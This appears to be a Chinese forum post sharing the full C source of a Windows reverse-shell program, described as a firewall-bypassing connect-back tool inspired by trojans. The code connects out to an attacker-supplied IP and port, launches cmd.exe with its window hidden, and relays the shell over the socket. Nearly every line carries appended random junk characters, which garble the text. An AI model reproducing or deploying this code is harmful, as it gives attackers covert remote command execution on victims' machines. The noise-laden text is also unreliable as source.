这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Tr|JYLwF
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/* ============================== V:27)]q
Rebound port in Windows NT ]~%6JJN7
By wind,2006/7 ^&)|sP
===============================*/ b2]Kx&!
#include bfO=;S]b!
#include `kr?j:g
]{ kPrey
#pragma comment(lib,"wsock32.lib") HqTjl4ai
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void OutputShell(); nd(S3rct&
SOCKET sClient; .KC++\{HE
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yBRC*0+Vy
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void main(int argc,char **argv) {^'HL
{ 4~=l}H>&
WSADATA stWsaData; 0ksa
int nRet; ?}7p"3j'z
SOCKADDR_IN stSaiClient,stSaiServer; <| &Npd'
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if(argc != 3) 5coZ|O&f8
{ rH>)oThA#
printf("Useage:\n\rRebound DestIP DestPort\n"); 875od
return; V$~9]*Wn
} smLQS+UE
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WSAStartup(MAKEWORD(2,2),&stWsaData); &0f,~ /%Z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2JFpZU"1
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stSaiClient.sin_family = AF_INET; =mGez )T5\
stSaiClient.sin_port = htons(0); uGt-l4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <,(,jU)j
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d %#b:(,
{ c"Sq~X
printf("Bind Socket Failed!\n"); p:%loDk
return; .~}1+\~5
} 'RRE|L,
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stSaiServer.sin_family = AF_INET; =2 kG%9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JCaOK2XT;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W%)Y#C
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cAc@n6[`3
{ N&pCx&
printf("Connect Error!"); NCx%L-GPi
return; L6LZC2N+2
} wf$s*|z
OutputShell(); Dxxm="FQZ
} '{`$#@a.
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void OutputShell() eY\yE"3
{ f9;(C4+
char szBuff[1024]; xvy.=(
SECURITY_ATTRIBUTES stSecurityAttributes; }{"fJ3] c^
OSVERSIONINFO stOsversionInfo; 4e1Y/
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]fD}
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STARTUPINFO stStartupInfo; 8*fv'
char *szShell; :eg4z )
PROCESS_INFORMATION stProcessInformation; )Wox Mmz
unsigned long lBytesRead; .6V}3q$-@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f9\X>zzB2|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &M'*6A
stSecurityAttributes.lpSecurityDescriptor = 0; [mHdG2X
stSecurityAttributes.bInheritHandle = TRUE; ,: ->ErP
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eIo7F m
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kxRV)G
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ``Un&-Ms
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L^Fy#p
stStartupInfo.wShowWindow = SW_HIDE; (M
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stStartupInfo.hStdInput = hReadPipe; ,1##p77.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N"1B/u
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GetVersionEx(&stOsversionInfo); ym6K!i]q4
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switch(stOsversionInfo.dwPlatformId) @<Yy{~L|
{ ,{q;;b9
case 1: (b6NX~G-:
szShell = "command.com"; 6(e>P)
break; :\}(&
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default: 2[;_d;oB @
szShell = "cmd.exe"; QVE6We
break; nQ L@hc
} S[T8T|_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8Bg;Kh6B
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send(sClient,szMsg,77,0); u?{H}V
while(1) {vO9ptR;
{ RAK-UN
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {
buy"X4
if(lBytesRead) W 8!Qv8rf
{ lu6(C
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $lut[o74
send(sClient,szBuff,lBytesRead,0); n\.V qe
} ^<-+@v*
else zNuJj L
{ t!\tF[9e
lBytesRead=recv(sClient,szBuff,1024,0); XF_pN[}
if(lBytesRead<=0) break; lUiL\~Gq
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /[>sf[X\I9
} T${Q.zHY[!
} N{~YJ$!8
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return; 3 SGDy]
}